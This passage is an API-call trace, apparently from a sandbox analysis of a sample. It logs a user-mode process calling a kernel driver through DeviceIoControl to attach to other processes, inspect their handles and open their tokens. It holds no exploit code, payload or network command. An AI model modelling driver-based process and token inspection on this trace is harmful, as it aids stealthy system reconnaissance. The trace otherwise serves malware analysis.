lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.504] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.505] PsAcquireProcessExitSynchronization () returned 0x0 [0137.505] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054735d0) [0137.505] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020e3c10, HandleInformation=0x0) returned 0x0 [0137.505] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.505] PsReleaseProcessExitSynchronization () returned 0x2 [0137.505] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0137.505] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.505] ObfDereferenceObject (Object=0xfffffa80020e3c10) returned 0x1 [0137.505] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.505] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.505] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.505] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0137.505] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.505] PsAcquireProcessExitSynchronization () returned 0x0 [0137.505] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054735d0) [0137.505] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020e3ac0, HandleInformation=0x0) returned 0x0 [0137.505] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.505] PsReleaseProcessExitSynchronization () returned 0x2 [0137.505] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0137.505] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.505] ObfDereferenceObject (Object=0xfffffa80020e3ac0) returned 0x1 [0137.505] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.505] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.505] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.505] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.505] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.505] PsAcquireProcessExitSynchronization () returned 0x0 [0137.505] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054735d0) [0137.506] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.506] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.506] PsReleaseProcessExitSynchronization () returned 0x2 [0137.506] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0137.506] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.506] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.506] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.506] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.506] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0xc0 [0137.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.506] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800208b060, HandleInformation=0x0) returned 0x0 [0137.506] ObOpenObjectByPointer (in: Object=0xfffffa800208b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.506] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x12 [0137.506] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.506] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.506] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.506] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.506] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.508] CloseHandle (hObject=0xc8) returned 1 [0137.508] CloseHandle (hObject=0xc0) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.508] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.508] PsAcquireProcessExitSynchronization () returned 0x0 [0137.508] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054735d0) [0137.508] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019ac4f0, HandleInformation=0x0) returned 0x0 [0137.508] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.508] PsReleaseProcessExitSynchronization () returned 0x2 [0137.508] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0137.508] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.508] ObfDereferenceObject (Object=0xfffffa80019ac4f0) returned 0x1 [0137.508] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.508] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.508] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.508] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.508] PsAcquireProcessExitSynchronization () returned 0x0 [0137.508] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054735d0) [0137.509] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f9c200, HandleInformation=0x0) returned 0x0 [0137.509] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.509] PsReleaseProcessExitSynchronization () returned 0x2 [0137.509] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0137.509] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.509] ObfDereferenceObject (Object=0xfffffa8001f9c200) returned 0x1 [0137.509] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.509] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.509] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.509] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.509] PsAcquireProcessExitSynchronization () returned 0x0 [0137.509] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054735d0) [0137.509] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.509] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.509] PsReleaseProcessExitSynchronization () returned 0x2 [0137.509] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0137.509] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.509] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.509] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.509] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.509] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0xc0 [0137.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.509] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fc0b30, HandleInformation=0x0) returned 0x0 [0137.509] ObOpenObjectByPointer (in: Object=0xfffffa8001fc0b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.509] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x12 [0137.509] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.509] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.509] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.509] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.510] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.511] CloseHandle (hObject=0xc8) returned 1 [0137.511] CloseHandle (hObject=0xc0) returned 1 [0137.511] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.511] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.511] PsAcquireProcessExitSynchronization () returned 0x0 [0137.511] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054735d0) [0137.511] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a126f0, HandleInformation=0x0) returned 0x0 [0137.511] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.511] PsReleaseProcessExitSynchronization () returned 0x2 [0137.511] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0137.511] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.511] ObfDereferenceObject (Object=0xfffffa8001a126f0) returned 0x1 [0137.511] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.511] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.511] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.511] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.511] PsAcquireProcessExitSynchronization () returned 0x0 [0137.511] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054735d0) [0137.512] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fc01e0, HandleInformation=0x0) returned 0x0 [0137.512] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.512] PsReleaseProcessExitSynchronization () returned 0x2 [0137.512] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0137.512] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.512] ObfDereferenceObject (Object=0xfffffa8001fc01e0) returned 0x1 [0137.512] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.512] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.512] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.512] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.512] PsAcquireProcessExitSynchronization () returned 0x0 [0137.512] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054735d0) [0137.512] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.512] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.512] PsReleaseProcessExitSynchronization () returned 0x2 [0137.512] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0137.512] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.512] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.512] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.512] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.512] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0xc0 [0137.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.512] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fef740, HandleInformation=0x0) returned 0x0 [0137.512] ObOpenObjectByPointer (in: Object=0xfffffa8001fef740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.512] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x12 [0137.512] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.512] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.512] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.512] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.513] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.514] CloseHandle (hObject=0xc8) returned 1 [0137.514] CloseHandle (hObject=0xc0) returned 1 [0137.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.514] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.514] PsAcquireProcessExitSynchronization () returned 0x0 [0137.514] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054735d0) [0137.514] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fef070, HandleInformation=0x0) returned 0x0 [0137.514] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.514] PsReleaseProcessExitSynchronization () returned 0x2 [0137.514] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0137.514] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.514] ObfDereferenceObject (Object=0xfffffa8001fef070) returned 0x1 [0137.514] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.514] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.514] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.514] PsAcquireProcessExitSynchronization () returned 0x0 [0137.514] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054735d0) [0137.515] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ff3070, HandleInformation=0x0) returned 0x0 [0137.515] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.515] PsReleaseProcessExitSynchronization () returned 0x2 [0137.515] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0137.515] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.515] ObfDereferenceObject (Object=0xfffffa8001ff3070) returned 0x1 [0137.515] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.515] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.515] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.515] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.515] PsAcquireProcessExitSynchronization () returned 0x0 [0137.515] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054735d0) [0137.515] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.515] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.515] PsReleaseProcessExitSynchronization () returned 0x2 [0137.515] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0137.515] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 